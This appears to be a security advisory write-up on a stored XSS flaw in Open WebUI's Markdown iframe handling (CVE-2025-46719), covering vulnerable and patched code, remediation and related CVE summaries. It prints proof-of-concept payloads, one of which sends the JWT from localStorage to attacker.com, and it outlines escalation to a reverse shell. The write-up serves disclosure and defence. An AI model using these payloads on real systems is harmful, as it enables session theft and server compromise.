Jul 7, 2026·6 min read·4 visits
Unsanitized Markdown parsing in Open WebUI lets attackers execute arbitrary client-side script via crafted iframe tokens, leading to session theft and administrative Remote Code Execution.
A critical Stored Cross-Site Scripting (XSS) vulnerability exists in Open WebUI versions prior to 0.6.6. The vulnerability resides in client-side Markdown rendering, where unvalidated iframe tags containing local API base URLs bypass DOMPurify sanitization. This flaw allows authenticated attackers to steal user session tokens. If an administrative session is compromised, the attacker can leverage the application's native Python execution capabilities ('Functions') to achieve arbitrary Remote Code Execution (RCE) on the hosting server.
Open WebUI is an extensible, self-hosted user interface designed for interacting with large language models offline. To deliver rich text interactions, the platform processes markdown client-side inside Svelte-based chat interface files. This architecture exposes a significant attack surface in components that translate markdown tokens into raw HTML tags.\n\nThe vulnerability, designated CVE-2025-46719 (GHSA-9f4f-jv96-8766), falls under the category of Improper Neutralization of Input During Web Page Generation (CWE-79). The security flaw is located within the markdown parsing engine's handling of inline token representations. Specifically, when rendering HTML tokens, a design exception allows unvalidated HTML strings to bypass the primary DOMPurify sanitization framework.\n\nA successful exploitation of this vulnerability enables an attacker to execute arbitrary JavaScript code within the context of the victim's browser session. If the victim has administrative privileges, the attacker can leverage the compromised session to interact with the platform's API endpoints. This interaction can escalate to Remote Code Execution (RCE) on the underlying hosting server by registering malicious Python routines via the system's 'Functions' panel.
The root cause of CVE-2025-46719 is located in the client-side rendering files src/lib/components/chat/Messages/Markdown/MarkdownTokens.svelte and MarkdownInlineTokens.svelte. When Open WebUI renders markdown, it leverages a parsing pipeline to process text blocks into distinct node trees. While standard HTML blocks are sanitized through DOMPurify, an explicit exception was implemented to handle internal document and media previews.\n\nTo allow inline iframe previews of uploaded files, developers introduced a conditional Svelte block that checks if a token contains an iframe reference directed at the server's file upload API. This conditional logic evaluates the presence of the substring <iframe src=\"${WEBUI_BASE_URL}/api/v1/files/ within the raw token text. If this substring is detected, the application renders the entire token using Svelte's raw HTML interpolation directive ({@html}).\n\nThis implementation introduces two security failures. First, Svelte's {@html} directive bypasses standard Svelte escaping, inserting the string directly into the Document Object Model (DOM). Second, the .includes() method is structurally weak and fails to validate the outer boundaries of the token. An attacker can construct a single token that satisfies the .includes() requirement while appending arbitrary malicious tags or event handler attributes, such as onload handlers, elsewhere in the payload.
In vulnerable versions of Open WebUI, the application rendered raw HTML tokens directly when matching file preview signatures. The following block highlights this vulnerability pattern:\n\ntypescript\n// Vulnerable Code Path\n{:else if token.text.includes('<iframe src="' + WEBUI_BASE_URL + '/api/v1/files/')}\n {@html `${token.text}`}\n\n\nIn the patch implemented in version 0.6.6 (Commit 6fd082d55ffaf6eb226efdeebc7155e3693d2d01), the developers refactored HTML token rendering into an isolated component named HTMLToken.svelte. This component enforces structural validation and sanitizes inputs. Below is the updated logic:\n\nsvelte\n<!-- Patched Component: HTMLToken.svelte -->\n<script lang="ts">\n\timport DOMPurify from 'dompurify';\n\timport type { Token } from 'marked';\n\timport { WEBUI_BASE_URL } from '$lib/constants';\n\n\texport let token: Token;\n\tlet html: string | null = null;\n\n\t$: if (token.type === 'html' && token?.text) {\n\t\t// Sanitize input using DOMPurify as the default defensive layer\n\t\thtml = DOMPurify.sanitize(token.text);\n\t} else {\n\t\thtml = null;\n\t}\n</script>\n\n{#if token.type === 'html'}\n\t{#if html && html.includes('<video')}\n\t\t{@html html}\n\t{:else if token.text && token.text.match(/<iframe\\s+[^>]*src="https:\\/\\/www\\.youtube\\.com\\/embed\\/([a-zA-Z0-9_-]{11})"[^>]*><\\/iframe>/)}\n\t\t<!-- Strict regex matching for safe YouTube embeds -->\n\t{:else if token.text.includes('<iframe src="' + WEBUI_BASE_URL + '/api/v1/files/')}\n\t\t{@html `${token.text}`}\n\t{:else}\n\t\t{token.text}\n\t{/if}\n{/if}\n\n\nWhile the patch separates concern by isolating HTML token rendering, the implementation still uses raw {@html} on token.text if the substring matches. It is critical that deployments enforce deep server-side sanitization and restrictive Content Security Policies, as relying on substring match checks client-side remains highly complex to secure against nested bypasses.
The exploitation vector requires an attacker to inject a crafted markdown payload containing the target base URL and an executable payload attribute. The initial proof-of-concept payload uses an iframe tag pointing to the files API coupled with an inline onload attribute:\n\nhtml\n<iframe src="http://localhost:8080/api/v1/files/" onload="alert(1)"></iframe>\n\n\nTo conduct a complete administrative takeover, the attacker can leverage the platform's client-side session management. Open WebUI stores the user's active JSON Web Token (JWT) inside the browser's local storage under the key token. An attacker can structure the iframe payload to exfiltrate this storage key to an external listener:\n\nhtml\n<iframe src="http://localhost:8080/api/v1/files/" onload="fetch('https://attacker.com/?token=' + encodeURIComponent(localStorage.getItem('token')))"></iframe>\n\n\nOnce the administrative token is exfiltrated, the attacker assumes administrative control over the platform. The attacker then accesses the /api/v1/functions API endpoint. Because Open WebUI permits administrators to write custom Python plugins and filters to process incoming user requests, the attacker can submit a Python payload that executes shell commands, establishing a reverse shell and completing the attack chain from XSS to Remote Code Execution.
The impact of CVE-2025-46719 represents a severe escalation chain. Although the initial entry point is client-side, the architectural integration of administrative capabilities and Python-based plugins bridges the gap between client-side exploitation and system-level host compromise.\n\nThe CVSS v4.0 scoring system assigns this vulnerability a base score of 7.4 (High Severity), reflecting the critical exposure of confidentiality, integrity, and availability. If an attacker succeeds in exfiltrating an administrative session token, the integrity of the hosting environment is entirely compromised. Attackers can execute arbitrary processes under the system privileges of the Docker container or local application host.\n\nFurthermore, this vulnerability presents significant self-propagating potential. If the 'Enable Community Sharing' parameter is toggled on, or if infected chat transcripts are published to the public Open WebUI registry, the exploit operates as a worm. Users viewing these shared transcripts will silently execute the payload, causing their local clients to duplicate the malicious transcript and share it further, magnifying the overall threat vector.
The primary remediation path for CVE-2025-46719 is to update Open WebUI installations to version 0.6.6 or greater. System administrators running the platform via the Python Package Index (PyPI) should execute the upgrade command:\n\nbash\npip install --upgrade open-webui\n\n\nFor containerized environments, pull the updated container image and restart the deployment using the following sequence:\n\nbash\ndocker pull ghcr.io/open-webui/open-webui:main\ndocker compose up -d --force-recreate\n\n\nIn scenarios where immediate patching is unfeasible, administrators should configure strict Content Security Policy (CSP) headers on their reverse proxy. Restricting the script-src and connect-src directives prevents unauthorized exfiltration and inline JavaScript execution:\n\nhttp\nContent-Security-Policy: default-src 'self'; script-src 'self'; frame-src 'self' https://www.youtube.com; connect-src 'self' https://trusted-endpoint.com;\n
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N/E:P| Product | Affected Versions | Fixed Version |
|---|---|---|
Open WebUI Open WebUI | < 0.6.6 | 0.6.6 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| Attack Vector | Network |
| CVSS Score | 7.4 (High) |
| Exploit Status | Proof of Concept |
| KEV Status | Not Listed |
The software does not neutralize or incorrectly neutralizes user-controlled input before it is placed in output that is used as a web page that is served to other users.
A behavioral mismatch vulnerability (CWE-701) in the Rust-based uutils coreutils implementation of common command-line utilities allows silent data loss. When the --suffix argument is executed without explicit backup flags, the uucore library fails to enter backup mode, silently overwriting target files instead of creating preserving copies as expected under GNU standards.
Open WebUI versions prior to 0.6.6 contain a stored cross-site scripting (XSS) vulnerability that allows low-privileged users to upload malicious HTML files containing arbitrary JavaScript. When viewed by an administrator, the executed script can abuse administrative APIs to register malicious functions, leading to remote code execution on the underlying server host.
CVE-2026-26192 is a high-severity Stored Cross-Site Scripting (XSS) vulnerability in Open WebUI prior to version 0.7.0. Authenticated users can modify chat history metadata to force document citations to render inside an HTML iframe configured with an insecure sandbox policy. By combining 'allow-scripts' and 'allow-same-origin', the sandbox boundary is neutralized. This allows scripts executing within the iframe to access the parent window's DOM, extract sensitive Web UI local storage keys (such as authentication JWTs), and perform state-changing actions on behalf of other users, including administrators.
CVE-2026-26193 is a stored Cross-Site Scripting (XSS) vulnerability in Open WebUI prior to version 0.6.44. The vulnerability arises because the rendering engine hardcodes insecure sandbox options on an iframe component used for response embeds, allowing attackers to execute JavaScript in the parent window origin.
Open WebUI versions 0.7.2 and below contain a blind Server-Side Request Forgery (SSRF) vulnerability. The flaw exists within the image editing router, specifically inside the /api/v1/images/edit endpoint. An authenticated attacker with low privileges can exploit this endpoint to initiate asynchronous HTTP GET requests to local, private, or internal network services, mapping system resources and bypassing boundary restrictions.
An access control deficiency in the 9Router dashboard allows unauthenticated remote attackers to perform full CRUD operations on integrated AI providers, extract plaintext API keys, and access complete system conversation histories.